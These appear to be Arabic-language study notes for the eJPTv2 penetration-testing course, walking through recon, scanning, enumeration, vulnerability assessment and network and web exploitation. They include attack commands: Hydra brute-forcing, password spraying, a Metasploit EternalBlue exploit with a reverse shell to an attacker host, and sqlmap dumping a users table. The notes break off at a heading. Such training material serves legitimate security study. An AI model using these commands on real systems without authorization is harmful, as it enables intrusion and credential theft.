4033 words
20 minutes
eJPTv2 Study Notes

نوتس eJPTv2 — ملخص شامل لكل مراحل اختبار الاختراق دي النوتس اللي كنت بجمعها وأنا بذاكر كورس eJPTv2، حبيت أرتبها وأشاركها هنا عشان تبقى مرجع سريع لأي حد بيذاكر نفس الكورس أو بيراجع أساسيات اختبار الاختراق من الأول.

حاولت في النسخة دي إني مش بس ألخص المفاهيم، لكن كمان أشرحها بشكل أعمق شوية وأدي أمثلة عملية لكل جزء، عشان الكلام ميفضلش نظري بس ويبقى قريب من اللي هتقابله فعلًا في المعمل أو في الامتحان.

النوتس دي بتغطي الأجزاء دي بالترتيب:

Penetration Testing Process Type of Information Gathering Footprinting and Scanning Enumeration Vulnerability Assessment Network Auditing Network Penetration Testing Web Application Penetration Testing كل جزء هتلاقي فيه شرح للمفهوم، ليه بنعمله، الأدوات المستخدمة، أوامر التثبيت والاستخدام، ومثال عملي يوضح إزاي الكلام ده بيتطبق على أرض الواقع.

Penetration Testing Process دي المراحل اللي بتمر بيها عملية اختبار الاختراق بالترتيب:

text Engagement → Information Gathering → Scanning → Enumeration → Exploitation → Post-Exploitation → Reporting الفكرة الأساسية إن اختبار الاختراق مش “افتح Metasploit وابدأ تضرب Exploits عشوائي” — دي عملية منظمة، كل مرحلة فيها بتبني على اللي قبلها، ولو قفزت مرحلة أو استعجلت فيها، هتلاقي نفسك تايه في مرحلة الاستغلال من غير ما تعرف إنت بتخترق إيه بالظبط.

Engagement:

دي المرحلة اللي بيتم فيها الاتفاق بين الشخص اللي هيعمل عملية اختبار الاختراق والكلاينت (مالك المؤسسة). بيتحدد فيها حاجات زي:

الـ Scope: إيه الأنظمة المسموح تختبرها بالظبط (IP Ranges، دومينات، تطبيقات)، وإيه اللي ممنوع تلمسه خالص نوع الاختبار: Black Box (من غير أي معلومات مسبقة)، White Box (بمعلومات كاملة عن البنية التحتية)، أو Grey Box (معلومات جزئية) السعر وعدد الأيام وعدد الساعات يوميًا المتاحة للاختبار نقطة التواصل (Point of Contact): مين اللي البينتستر هيتواصل معاه لو حصل حادث غير متوقع، زي إنه سبب تعطل لخدمة حقيقية بالغلط الـ Rules of Engagement (RoE): وثيقة رسمية بتوضح الصلاحيات القانونية للاختبار، وده اللي بيحميك لو حصل أي مشكلة مثال عملي: لو الكلاينت قالك “اختبر الشبكة الداخلية بتاعتنا”، وانت لقيت أثناء الفحص سيرفر خارج نطاق الـ IP Range المتفق عليه، الأصل إنك توقف وترجع تتأكد من الكلاينت قبل ما تكمل، حتى لو السيرفر ده شكله ضعيف وسهل الاختراق. الخروج عن الـ Scope من غير إذن بيحول اختبار الاختراق القانوني لجريمة إلكترونية.

Information Gathering:

دي مرحلة جمع المعلومات، وبتتقسم لنوعين رئيسيين:

Passive Information Gathering — البينتستر بيجمع معلومات عن الهدف من غير أي تفاعل مباشر معاه، يعني الهدف نفسه أو أي جهاز تابع له ملهوش أي أثر إنك بتراقبه. المعلومات دي بتشمل:

تحديد عناوين IP ومعلومات DNS تحديد أسماء النطاقات وملكيتها تحديد عناوين البريد الإلكتروني وملفات التعريف على وسائل التواصل الاجتماعي تحديد التقنيات المستخدمة في المواقع المستهدفة تحديد النطاقات الفرعية Active Information Gathering — هنا بيحصل تفاعل مباشر مع الهدف (طلبات HTTP فعلية، اتصالات على منافذ، إلخ)، وده معناه إن فيه احتمال إن أنظمة الحماية زي الـ IDS/IPS تلاحظ نشاطك. المعلومات اللي بتجمعها هنا:

اكتشاف المنافذ المفتوحة على الأنظمة المستهدفة التعرف على البنية التحتية الداخلية لشبكة الهدف استخراج المعلومات من الأنظمة المستهدفة مباشرة (زي banner grabbing) الفرق العملي بينهم إن الـ Passive بتاخد وقت أطول وبتديك صورة عامة، والـ Active بتديك تفاصيل دقيقة لكنها بتزود فرصة اكتشافك.

تقنيات وأدوات جمع المعلومات التقنية الاستخدام Whois Enumeration لجمع معلومات النطاق DNS Recon لاستكشاف وتحليل معلومات DNS WAF Detection (wafw00f) للكشف عن جدران الحماية Subdomain Enumeration (Sublist3r / Amass) لتحديد النطاقات الفرعية Google Dorks لاستخدام محركات البحث بفعالية في جمع المعلومات Email Harvesting (theHarvester) لجمع عناوين البريد الإلكتروني Leaked Password Databases للبحث في قواعد بيانات كلمات المرور المسربة DNS Zone Transfers لاستكشاف نقل مناطق DNS سجلات DNS A, AAAA, NS, MX, CNAME, TXT وغيرها DNS Interrogation تحليل سجلات DNS لاستخراج IPs والنطاقات الفرعية Host Discovery (Nmap) لاكتشاف الأجهزة الموجودة على الشبكة Port Scanning (Nmap) لفحص المنافذ المفتوحة Shodan محرك بحث للأجهزة المتصلة بالإنترنت مباشرة (كاميرات، راوترات، سيرفرات) Maltego ربط المعلومات المجمّعة ببعض بصريًا (أشخاص، دومينات، إيميلات) في خريطة واحدة ملاحظة: لو الـ DNS Zone Transfer مكوّن بشكل غير صحيح، ممكن يتم استغلاله للحصول على نظرة شاملة على شبكة المؤسسة بالكامل — بما فيها أسماء السيرفرات الداخلية وعناوينها، وده بيوفر عليك مجهود اكتشاف كبير.

تثبيت واستخدام الأدوات Whois:

bash sudo apt-get update sudo apt-get install whois bash whois example.com whois 8.8.8.8 بتطلعلك معلومات زي: مين مسجل الدومين، تاريخ التسجيل والانتهاء، وسيرفرات الـ DNS المرتبطة بيه. مفيدة كخطوة أولى قبل أي حاجة تانية.

wafw00f:

bash python3 —version pip3 install wafw00f bash wafw00f http://example.com بتساعدك تعرف لو فيه جدار حماية (WAF) بيحمي التطبيق، ونوعه (Cloudflare، Akamai، ModSecurity…)، وده بيأثر على طريقة تعاملك مع التطبيق بعد كده — مثلًا لو فيه WAF، هجمات SQL Injection المباشرة هتتحظر، فهتحتاج تفكر في تقنيات Evasion.

Sublist3r:

bash sudo apt-get install git pip install -r requirements.txt bash python sublist3r.py -d example.com بتجمع النطاقات الفرعية من مصادر متعددة (Google، Bing، Yahoo، VirusTotal…) في أمر واحد. لو لقيت subdomain زي dev.example.com أو staging.example.com، غالبًا دي بتبقى بيئات أقل تأمينًا من الموقع الرئيسي.

theHarvester:

bash sudo apt-get install git git clone https://github.com/laramies/theHarvester.git pip install -r requirements.txt bash python3 theHarvester.py -d example.com -b all الإيميلات اللي بتجمعها هنا مش بس لغرض التوعية، دي بتفيدك بعد كده في هجمات زي Password Spraying على بوابات تسجيل الدخول (VPN، Webmail، Office365).

Nmap:

bash sudo apt-get update sudo apt-get install nmap bash nmap -p 80 example.com مثال عملي متكامل: تخيل عندك دومين target.com. أول خطوة whois target.com تعرف بيه مين صاحب الدومين وأسماء الـ Name Servers. بعدها sublist3r -d target.com تكتشف إن فيه mail.target.com وvpn.target.com. تجيب إيميلات الموظفين بـ theHarvester، وتشوف لو فيه WAF قدام الموقع الرئيسي بـ wafw00f. في الآخر، عندك صورة كاملة عن الهدف من غير ما تبعت أي طلب فحص شرس واحد لسه.

كدا خلصنا جزء الـ Information Gathering بالكامل.

Footprinting and Scanning السكشن ده لا يقل أهمية عن اللي قبله، لأن عملية الاستطلاع وجمع المعلومات بتشكل نسبة كبيرة من نجاح عملية اختبار الاختراق بالكامل — الإحصائية الشائعة في المجال إن حوالي 60-70% من وقت أي اختبار اختراق حقيقي بيروح في الاستطلاع والفحص، مش في الاستغلال نفسه.

الفكرة الأساسية: قبل ما تبدأ تخترق أي حاجة، لازم تجمع كل المعلومات اللي تقدر توصلها عن الهدف بدون ما تخليه يحس إنك بتراقبه.

أنواع جمع المعلومات

  1. Passive Footprinting:

جمع معلومات عن الهدف من غير أي تفاعل مباشر معاه — زي متابعة أخبار الشركة، الـ LinkedIn بتاع الموظفين، أو المستندات المتاحة على الإنترنت.

Google Dorking: استخدام جوجل بطرق ذكية للوصول لملفات أو صفحات محددة على الموقع المستهدف، زي: text site.com filetypesite.com inurlsite.com intitle:“index of” TheHarvester: لجمع الإيميلات، الدومينات، وعناوين IP الخاصة بالشركة Recon-ng: أداة بتجمع المعلومات بشكل منظم وتلقائي، وبتشتغل بنظام Modules زي Metasploit بالظبط 2. Active Footprinting:

هنا بيبدأ التفاعل المباشر مع الهدف — زي فحص الأجهزة أو الخدمات الشغالة عنده.

Nmap: بيفحص المنافذ والخدمات الشغالة على الجهاز Netcraft: بيدي معلومات عن الموقع والسيرفر، وحتى تاريخ التغييرات اللي حصلت في التقنيات المستخدمة بمرور الوقت Shodan: زي محرك بحث بس مخصص للأجهزة المتصلة بالإنترنت — ممكن تدور فيه بـ org:“Target Company” وتلاقي كل الأجهزة المعرّفة باسم الشركة المعلومات اللي لازم تجمعها معلومات الدومين: بيانات DNS، معلومات التسجيل، والـ Subdomains معلومات الشركة: عناوين IP، مواقع المكاتب، والموظفين معلومات الموقع: التكنولوجيات المستخدمة، السيرفرات، والحماية الفحص (Scanning) بعد جمع المعلومات، بييجي دور الفحص عشان تعرف إيه الشغال على النظام من خدمات — وده بيبقى الأساس اللي هتبني عليه أي محاولة اختراق بعد كده. الفكرة ببساطة: من غير Scanning إنت عمال تحاول تخترق حاجة إنت أصلًا مش عارف هي شغالة ولا لأ.

  1. فحص المنافذ (Port Scanning):

الأداة الأساسية هنا هي Nmap — بتفحص المنافذ، تعرف نظام التشغيل، والخدمات الشغالة.

bash nmap -sS -p- [TARGET_IP] # فحص كل المنافذ nmap -sV -p 80,443 [TARGET_IP] # عرض تفاصيل الخدمات nmap -O [TARGET_IP] # اكتشاف نظام التشغيل فحص سريع وفحص شامل:

bash nmap -T4 -F 192.168.1.1 # فحص سريع للمنافذ المفتوحة nmap -sS -p- 192.168.1.1 # فحص كل المنافذ من 1 لـ 65535 فرق بسيط بين أنواع الفحص المهمة:

النوع الأمر ملاحظات TCP SYN Scan nmap -sS أسرع نوع وأكتر Stealthy، بيحتاج صلاحيات root TCP Connect Scan nmap -sT بيكمل الـ Handshake بالكامل، أبطأ وأسهل اكتشافه UDP Scan nmap -sU أبطأ بكتير، لكن مهم جدًا لخدمات زي SNMP وDNS Aggressive Scan nmap -A بيجمع OS Detection + Version Detection + Scripts + Traceroute في أمر واحد مثال عملي: لو عملت nmap -sV [TARGET_IP] ولقيت المنفذ 445 مفتوح وعليه Microsoft-DS، ده معناه غالبًا الجهاز ده Windows وشغال عليه SMB — يبقى خطوتك التالية منطقيًا تكون Enumeration للـ SMB، مش مثلاً تحاول Exploit خاص بـ Apache.

Masscan — بيعمل نفس شغل Nmap بس أسرع بكتير، ومناسب لفحص ملايين المنافذ في ثواني، خصوصًا لو بتفحص شبكة كبيرة أو نطاق IP واسع:

bash masscan -p1-65535 192.168.1.0/24 —rate=1000 Unicornscan — أداة قوية لفحص الشبكات الكبيرة وعندها قدرات مميزة في التعامل مع بروتوكولات مختلفة:

bash unicornscan -i eth0 -mT -p 1-65535 192.168.1.1 2. فحص الثغرات (Vulnerability Scanning):

بعد ما نعرف المنافذ والخدمات، بنشوف لو فيها ثغرات معروفة.

Nessus: أداة شاملة بتفحص وتطلع تقرير كامل بالثغرات مصنفة من Critical لحد Low OpenVAS: نسخة مفتوحة المصدر بتعمل نفس الشغل تقريبًا Nikto: بتفحص السيرفرات وتكشف الثغرات أو الإعدادات الخاطئة bash nikto -h http://example.com 3. فحص الشبكة (Network Scanning):

الهدف هنا معرفة مين متصل على الشبكة والشبكات الفرعية.

Netdiscover:

bash netdiscover -r 192.168.1.0/24 Fping — بيعمل Ping على مجموعة عناوين IP بسرعة:

bash fping -a -g 192.168.1.0/24 Angry IP Scanner — أداة بواجهة رسومية سهلة لفحص عناوين الـ IP.

أدوات إضافية مفيدة Wireshark: لمراقبة الشبكة وفهم اللي بيحصل فيها لحظة بلحظة Dirbuster / Dirb: لاكتشاف الملفات والدلائل المخفية على السيرفر Gobuster: بديل أسرع وأخف من Dirbuster، مكتوب بلغة Go، ومفيد للـ Directory Brute-forcing والـ DNS Subdomain discovery في أداة واحدة: bash gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt Fierce: لفحص معلومات DNS بشكل متقدم Dnsenum: للبحث في معلومات DNS بتفصيل أكبر Netcat: أداة كلاسيكية لـ Banner Grabbing يدويًا والتأكد من الخدمة الشغالة فعليًا على منفذ معين: bash nc -nv [TARGET_IP] 22 نصائح للفحص اتأكد من الأذونات — قبل أي فحص، لازم يكون عندك إذن رسمي من صاحب الشبكة أو الموقع حلل كويس — النتائج ممكن تكون كتير، خد وقتك في التحليل وما تستعجلش جرب أكتر من أداة — كل أداة ليها طريقة فحص مختلفة، فممكن تطلعلك معلومات مختلفة وثّق كل حاجة أول بأول — بدل ما تعتمد على ذاكرتك، احفظ نتيجة كل سكان في ملف باستخدام -oN أو -oA في Nmap، هتحتاجها وقت كتابة التقرير Enumeration الـ Enumeration بتيجي بعد مرحلة الـ Scanning، وفيها بنطلع معلومات أكتر تفصيلًا عن النظام أو الشبكة اللي بنستهدفها — مين شغال في الشركة، إيه الخدمات الشغالة، إيه الأجهزة المتصلة بالشبكة، وتفاصيل كتير تانية.

الفرق الجوهري بين Scanning والـ Enumeration: الـ Scanning بيقولك “المنفذ 445 مفتوح”، بينما الـ Enumeration بيقولك “المنفذ 445 مفتوح، والشير اسمه Finance، وفيه صلاحية كتابة، والمستخدمين اللي عندهم صلاحية عليه هما دول”. يعني الـ Enumeration هي المرحلة اللي بتحول معلومة عامة لمعلومة قابلة للاستغلال فعليًا.

أنواع الـ Enumeration Network Enumeration: معرفة الأجهزة الموجودة في الشبكة وكل جهاز شغال عليه إيه User Enumeration: استخراج المستخدمين الشغالين على السيرفر أو الشبكة Service Enumeration: معرفة الخدمات الشغالة على كل جهاز (FTP، HTTP، SMB… إلخ) Protocol Enumeration: استخراج معلومات عن البروتوكولات المستخدمة في الشبكة (SNMP، NetBIOS، LDAP…)

  1. Network Enumeration Nmap — لعمل مسح شامل على الشبكة ومعرفة كل الأجهزة المتصلة:

bash nmap -sn 192.168.1.0/24 Netdiscover:

bash netdiscover -r 192.168.1.0/24 ARP Scan — لجلب الأجهزة المتصلة باستخدام بروتوكول ARP:

bash arp-scan -l 2. User Enumeration RPCclient — لفتح جلسة على جهاز عن طريق SMB واستخراج بيانات المستخدمين. مفيدة جدًا لو الجهاز بيسمح بـ Null Session (يعني اتصال من غير Username أو Password):

bash rpcclient -U "" [TARGET_IP] وبعدها جوا الجلسة:

bash enumdomusers enum4linux — بيدي تفاصيل شاملة عن أنظمة الويندوز (مستخدمين، جروبات، سياسات كلمات المرور، الشيرز، حتى معلومات عن الدومين نفسه) في أمر واحد:

bash enum4linux -a [TARGET_IP] smbclient — للاتصال المباشر بالشيرز واستعراض محتواها زي ما بتعمل مع FTP تقريبًا:

bash smbclient -L //[TARGET_IP] -N smbclient //[TARGET_IP]/ShareName -N Nmap Scripts:

bash nmap —script smb-enum-users -p 445 [TARGET_IP] Hydra — لتجربة كلمات مرور مختلفة على قائمة مستخدمين:

bash hydra -L users.txt -P passwords.txt [TARGET_IP] smb مثال عملي: لقيت جهاز Windows على المنفذ 445 بيسمح بـ Null Session. عملت enum4linux -a [TARGET_IP] ولقيت قائمة مستخدمين فيها j.smith, a.hassan, admin. جمعت الأسماء دي في ملف users.txt، وبعدين رحت أعمل Password Spraying بكلمة واحدة شائعة (زي Summer2024!) على كل المستخدمين دول بدل ما أحاول Brute-force حساب واحد بقايمة كلمات كبيرة — ده بيقلل فرصة إن الحساب يتقفل بسبب سياسة الـ Account Lockout.

  1. Service Enumeration Nmap Service Scripts:

bash nmap —script ftp-anon,ftp-bounce,ftp-syst -p 21 [TARGET_IP] Nikto:

bash nikto -h http://example.com showmount — مخصصة لخدمة NFS، بتوريك أي مجلدات متاحة للمشاركة عن بعد:

bash showmount -e [TARGET_IP] Metasploit Auxiliary Modules:

text use auxiliary/scanner/smb/smb_enumshares set RHOSTS [TARGET_IP] run 4. Protocol Enumeration SNMP Enumeration:

bash snmpwalk -v 2c -c public [TARGET_IP] بروتوكول SNMP لو شغال بـ Community String افتراضي زي public أو private، ممكن يسرّبلك معلومات ضخمة عن الجهاز — من نظام التشغيل لحد جداول الـ Routing، وأحيانًا حتى المستخدمين المحليين.

snmp-check — بديل بواجهة أوضح لـ snmpwalk:

bash snmp-check [TARGET_IP] -c public NetBIOS Enumeration:

bash nbtscan 192.168.1.0/24 LDAP Enumeration:

bash ldapsearch -x -h [TARGET_IP] -b “dc=example,dc=com” الـ Enumeration محتاجة صبر واهتمام بالتفاصيل الصغيرة — أكتر ثغرة ممكن تلاقيها بتيجي من حاجة بسيطة زي إعداد غلط أو مستخدم ناسي يقفل الـ FTP. القاعدة العملية اللي أتبعها دايمًا: لو فيه بورت مفتوح، جرب كل الـ Enumeration الممكنة عليه قبل ما تنتقل للجهاز اللي بعده — رجوعك تاني بعد ساعات ممكن يضيع وقت كبير في إعادة التموضع.

Vulnerability Assessment الـ Vulnerability Assessment أو تقييم الثغرات هو إنك تفحص نظام أو شبكة أو موقع عشان تلاقي نقاط الضعف اللي ممكن الهاكر يستغلها — الهدف إنك تلاقيها قبله. الفرق المهم بينها وبين Penetration Testing الكامل: الـ VA بيوقف عند “اكتشاف وتوثيق الثغرة”، بينما الـ Pentest بيكمل خطوة كمان ويحاول يستغل الثغرة فعليًا عشان يثبت تأثيرها الحقيقي (مش كل ثغرة نظرية قابلة للاستغلال فعليًا).

خطوات التقييم التخطيط والتحضير: تحديد نطاق الفحص (سيرفر، شبكة، موقع…)، الاتفاق على الأدوات، والتأكد من موافقة صاحب النظام. الفحص ممكن يكون: خارجي: الحاجات اللي أي حد من بره الشبكة يقدر يوصلها (زي Web Servers) داخلي: فحص الأنظمة اللي جوا الشبكة جمع المعلومات: الـ IPs الشغالة، أنظمة التشغيل، والخدمات (FTP، HTTP…) الفحص: على مستوى الشبكة، الأنظمة، والتطبيقات (SQL Injection، XSS، إلخ) تحليل النتائج: تقييم خطورة كل ثغرة وتأثيرها المحتمل — هنا عادةً بيتم استخدام معيار CVSS (Common Vulnerability Scoring System) لإدي كل ثغرة رقم من 0 لـ 10 بناءً على خطورتها الفعلية، مش مجرد وصف عام كتابة التقرير: توثيق الثغرات وخطورتها وطرق إصلاحها المتابعة (Remediation & Re-Assessment): التأكد إن الثغرات اتقفلت فعلًا بعد الإصلاح أهم الأدوات الأداة الاستخدام Nessus فحص شامل للشبكة والأنظمة والبرامج مع تقرير مفصل OpenVAS نفس فكرة Nessus لكن مفتوحة المصدر QualysGuard خدمة سحابية لفحص الأنظمة والشبكات Nikto فحص مواقع الويب عن الثغرات والإعدادات الخاطئة Burp Suite اختبار تطبيقات الويب (SQL Injection، XSS، إلخ) Nexpose (InsightVM) من أدوات Rapid7، بتتكامل بسهولة مع Metasploit لنقل نتايج الفحص مباشرة لمرحلة الاستغلال Nuclei أداة حديثة وسريعة جدًا بتعتمد على Templates جاهزة لفحص آلاف الثغرات المعروفة (CVEs) في وقت قصير خطوات فحص شامل سريع bash

1. ابدأ بـ Nmap لمعرفة المنافذ والخدمات#

nmap -sV -sC -oN scan_results.txt [TARGET_IP] بعدها:

استخدم Nessus أو OpenVAS لفحص شامل على الـ IPs اللي جمعتها استخدم Burp Suite أو Nikto لو فيه تطبيق ويب حلل النتائج واكتب التقرير مثال عملي: فحصت جهاز بـ Nessus ولقيت النتيجة بتقول إن نسخة SMB القديمة الشغالة على الجهاز عرضة لـ MS17-010 (EternalBlue)، ودرجة الخطورة CVSS تسجل 9.8 من 10. الخطوة المنطقية بعد كده مش إنك تصلح المشكلة بنفسك، لكن توثقها في تقييمك وتوضح إن الثغرة دي بتسمح بتنفيذ أوامر عن بعد بدون أي مصادقة — وده اللي بيخلي أولويتها Critical.

نصائح حافظ على تحديث الأدوات باستمرار — الأدوات القديمة ممكن ماتكتشفش الثغرات الجديدة راجع النتائج بنفسك دايمًا، الأدوات مش دايمًا دقيقة 100% — ممكن تطلع False Positives بلّغ الفريق فورًا بأي ثغرة حرجة (Critical) بمجرد اكتشافها، مش لما تخلص الفحص بالكامل تابع الثغرات الجديدة اللي بتظهر باستمرار (نشرات CVE يوميًا) Network Auditing تدقيق الشبكات هو فحص وتحليل الشبكة بالكامل عشان تعرف الأجهزة الموجودة، الخدمات الشغالة، إعدادات الشبكة، الثغرات الأمنية، وأي أخطاء ممكن تأثر على الأداء أو الأمان. بخلاف الـ Pentest اللي بيركز على “هل ممكن أخترق؟”، الـ Network Auditing بيركز أكتر على “هل الإعدادات دي متوافقة مع أفضل الممارسات الأمنية؟”

ليه بنعمل Network Auditing؟ تحسين الأمان: اكتشاف الثغرات وسدها تحسين الأداء: كشف المشاكل اللي بتأثر على سرعة الشبكة الامتثال (Compliance): التأكد من التوافق مع معايير زي PCI-DSS وISO الكشف عن الأخطاء: اكتشاف الأخطاء في الإعدادات قبل ما تسبب مشاكل كبيرة خطوات التدقيق جمع المعلومات الأولية: عمل Inventory لكل الأجهزة المتصلة (Routers, Switches, Servers, Workstations) bash nmap -sV -oN network_scan.txt [IP Range] فحص الأجهزة والخدمات: التأكد من إن المنافذ المفتوحة هي المطلوبة فقط — مثلًا لو لقيت Telnet شغال على راوتر، ده Red Flag فورًا لأنه بروتوكول غير مشفر مراجعة إعدادات الشبكة: ACLs، VLANs، إعدادات الـ Routing، وتقسيم الشبكة (Segmentation) — شبكة من غير Segmentation معناها لو جهاز واحد اتخترق، المهاجم يقدر يوصل لكل حاجة تانية بسهولة تحليل حركة المرور: باستخدام Wireshark لرصد أي بيانات أو اتصالات غير طبيعية، زي بيانات بتتنقل بدون تشفير أو اتصالات لجهات خارجية مشبوهة فحص الأمان: كلمات مرور ضعيفة/افتراضية، بروتوكولات غير آمنة (FTP، Telnet)، أنظمة قديمة — باستخدام Nessus/OpenVAS وHydra/Medusa فحص الـ Firewall والـ IDS/IPS: التأكد من فعاليتها في منع ورصد الاتصالات المشبوهة تحليل السجلات (Logs): مراجعة سجلات الـ Routers والـ Firewalls والـ Servers لرصد محاولات دخول فاشلة اختبار الإعدادات السيئة: تجربة كلمات مرور افتراضية، محاولة الوصول لموارد بدون صلاحيات، التأكد من عدم استخدام SNMP Public Community Strings كتابة التقرير: توثيق الثغرات والمشاكل والتوصيات المتابعة: إعادة التدقيق بعد الإصلاح للتأكد من إغلاق الثغرات أدوات مهمة Nmap: فحص الأجهزة والخدمات في الشبكة Wireshark: مراقبة وتحليل حركة المرور Nessus / OpenVAS: فحص الثغرات SolarWinds Network Performance Monitor: مراقبة أداء الشبكة Splunk / ELK Stack: تحليل السجلات PRTG Network Monitor: لمراقبة حالة الأجهزة والخدمات باستمرار وإرسال تنبيهات لحظية عند حدوث مشكلة مثال عملي: أثناء تدقيق شبكة شركة صغيرة، لاحظت إن كل الأجهزة على نفس الـ VLAN — يعني جهاز الموظفين العادي على نفس شبكة سيرفرات المحاسبة. حتى لو محدش استغل ده فعليًا، ده بحد ذاته “ثغرة تصميمية” لازم تتسجل في التقرير كـ Finding، لأنها بتوسع دائرة الخطر لو أي جهاز عادي اتخترق.

نصائح راجع كل جهاز وكل خدمة، حتى لو باين إنها مش مهمة استخدم الأدوات المناسبة لحجم وتعقيد الشبكة أغلب الثغرات بتيجي من إعدادات غلط — راجعها كويس حلل حركة المرور وتأكد إنها طبيعية ابقى محدث بالثغرات الجديدة دايمًا Network Penetration Testing هنا بتمثل دور الهاكر فعليًا وتحاول تخترق شبكة معينة عشان تكتشف الثغرات ونقاط الضعف فيها قبل ما حد تاني يكتشفها ويستغلها.

الخطوات

  1. التخطيط والموافقة:

خد إذن رسمي من صاحب الشبكة يوضح نطاق الفحص والأدوات المسموح استخدامها — ده بيحميك قانونيًا.

  1. جمع المعلومات:

الأجهزة الموجودة، الـ IP Range، وأنظمة التشغيل الشغالة.

bash nmap -sn [IP Range] بالإضافة لـ WHOIS وNSLookup لمعرفة معلومات الدومين والـ IP.

  1. الفحص:

Port Scanning بـ Nmap Service Enumeration لمعرفة الخدمات الشغالة على كل منفذ 4. Enumeration:

enum4linux: لاستخراج معلومات SMB SNMPwalk: لسحب البيانات من الأجهزة اللي شغالة عليها SNMP rpcclient: لجلب معلومات RPC Services 5. Vulnerability Assessment:

فحص شامل بـ Nessus أو OpenVAS لاكتشاف الأنظمة غير المحدثة، البروتوكولات القديمة، وكلمات المرور الضعيفة.

  1. Exploitation:

استغلال الثغرات المكتشفة فعليًا:

text لو فيه ثغرة SMB → Metasploit لو فيه SSH مفتوح → محاولة Brute-force Metasploit Framework: فيه Exploits جاهزة للاستخدام المباشر Hydra / Medusa: لهجمات الـ Brute-force مثال عملي متكامل: فحصت جهاز Windows Server ولقيت المنفذ 445 مفتوح بنسخة SMB قديمة. أكدت الثغرة بـ Nessus، ولقيتها فعلًا MS17-010. فتحت Metasploit:

text use exploit/windows/smb/ms17_010_eternalblue set RHOSTS [TARGET_IP] set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST [ATTACKER_IP] exploit ولو نجح الاستغلال، هتلاقي نفسك جوا Meterpreter Session بصلاحيات SYSTEM مباشرة — لأن الثغرة دي من نوع Remote Code Execution بدون مصادقة.

  1. Maintaining Access:

تثبيت الوجود على الجهاز بعد الدخول — زي إنشاء Backdoor بـ Netcat أو رفع Web Shell.

  1. Privilege Escalation:

رفع الصلاحيات من مستخدم عادي لـ Admin، باستخدام أدوات زي Linux Exploit Suggester أو Windows Exploit Suggester — الفكرة هنا إنك بتجمع معلومات عن الكيرنل والتحديثات المثبتة، وبتقارنها بقاعدة بيانات ثغرات معروفة لرفع الصلاحيات.

  1. Pivoting:

التحرك من جهاز لجهاز جوا نفس الشبكة باستخدام الجهاز المخترق كبوابة، عبر أدوات زي Chisel أو Proxychains. مفيدة جدًا لما تكتشف إن الجهاز اللي اخترقته عنده كارت شبكة تاني متصل بشبكة داخلية تانية إنت أصلًا مش قادر توصلها مباشرة.

  1. Post-Exploitation:

سحب أي معلومات حساسة — ملفات، Passwords، بيانات مهمة. أدوات زي Mimikatz بتستخدم هنا لسحب كلمات المرور المخزنة في الذاكرة على أنظمة Windows.

  1. Covering Tracks & Reporting:

مسح أي أثر يدل على تواجدك على النظام، وكتابة تقرير شامل بكل الثغرات اللي اتكشفت واتستغلت وطرق إصلاحها. ملحوظة مهمة: في اختبارات الاختراق الاحترافية غالبًا الـ RoE بتطلب منك إنك متمسحش آثارك بالكامل، عشان فريق الـ Blue Team يقدر يتمرن على اكتشافها كجزء من التمرين.

الأدوات المستخدمة Nmap: فحص الشبكة والمنافذ Metasploit Framework: استغلال الثغرات Burp Suite: اختبار تطبيقات الويب Hydra / Medusa: هجمات Brute-force Wireshark: تحليل الشبكة CrackMapExec: أداة ممتازة للتحقق السريع من صلاحية بيانات اعتماد على مجموعة أجهزة كاملة في أمر واحد، ومفيدة جدًا في بيئات Active Directory BloodHound: لرسم العلاقات بين المستخدمين والجروبات والأجهزة في بيئة Active Directory بصريًا، وبيوريك أقصر مسار من مستخدم عادي لصلاحيات Domain Admin نصائح مهمة خد إذن رسمي أول أي حاجة — الشغل لازم يكون قانوني ابدأ دايمًا بجمع المعلومات كفاية قبل أي خطوة تانية اختار الأداة المناسبة لكل موقف، مش كل أداة تنفع في كل هجوم Web Application Penetration Testing هنا بتحاكي دور الهاكر لاكتشاف الثغرات في تطبيقات الويب — الهدف حماية التطبيق من أي هجوم محتمل ومساعدة المطورين في تحسين الأمان.

الخطوات

  1. التخطيط والموافقة:

زي اختبار الشبكات بالظبط — إذن رسمي من أصحاب التطبيق، وتحديد حدود الفحص بدقة.

  1. جمع المعلومات:

فهم هيكل التطبيق، وظائفه، وطريقة تفاعل المستخدمين معاه.

WHOIS: معلومات الدومين NSLookup: سجلات DNS Google Dorking: للوصول لمعلومات حساسة عن التطبيق 3. فحص التطبيق:

OWASP ZAP: أداة مفتوحة المصدر لفحص تطبيقات الويب Burp Suite: من أشهر أدوات فحص تطبيقات الويب Wappalyzer: إضافة متصفح بتكشفلك التقنيات المستخدمة في بناء الموقع (لغة البرمجة، الـ CMS، المكتبات الأمامية) في ثواني 4. Enumeration:

استخراج نقاط الدخول في التطبيق — نماذج التسجيل، API endpoints، وكل مكون ممكن يتم استغلاله.

Burp Suite: لتعديل الطلبات والاستجابات Postman: لتجربة الـ APIs Gobuster / Wfuzz: لاكتشاف الصفحات والمسارات المخفية اللي مش ظاهرة في القائمة الرئيسية للموقع: bash wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt —hc 404 http://example.com/FUZZ 5. Vulnerability Assessment:

البحث عن أنواع ثغرات محددة:

SQL Injection: حقن استعلامات ضارة في قواعد البيانات Cross-Site Scripting (XSS): حقن سكريبتات ضارة في صفحات الويب Cross-Site Request Forgery (CSRF): إجبار المستخدم على تنفيذ إجراءات غير مرغوبة Insecure Direct Object References (IDOR): الوصول غير المصرح به للموارد File Upload Vulnerabilities: رفع ملفات ضارة (زي Web Shell) لو التطبيق مش بيتحقق كويس من نوع الملف المرفوع Local/Remote File Inclusion (LFI/RFI): تضمين ملفات من السيرفر نفسه أو من مصدر خارجي، وده ممكن يوصل لتنفيذ أوامر 6. Exploitation:

استغلال الثغرات المكتشفة فعليًا:

SQLMap: لتسهيل استغلال ثغرات SQL Injection XSSer: لاكتشاف واستغلال ثغرات XSS مثال عملي: لاقيت باراميتر ?id=1 في رابط الموقع بيرجع بيانات مختلفة حسب الرقم. جربت ?id=1’ ورجعلي Error من قاعدة البيانات — ده مؤشر قوي على SQL Injection. أكدت الثغرة وبعدين استخدمت SQLMap لأتمتة عملية الاستخراج:

bash sqlmap -u “http://example.com/vuln.php?id=1” —dbs sqlmap -u “http://example.com/vuln.php?id=1” -D webapp_db —tables sqlmap -u “http://example.com/vuln.php?id=1” -D webapp_db -T users —dump الخطوات دي بترجع أسماء قواعد البيانات، بعدها الجداول، وفي الآخر البيانات نفسها (زي جدول المستخدمين وكلمات مرورهم المشفرة).

  1. Privilege Escalation:

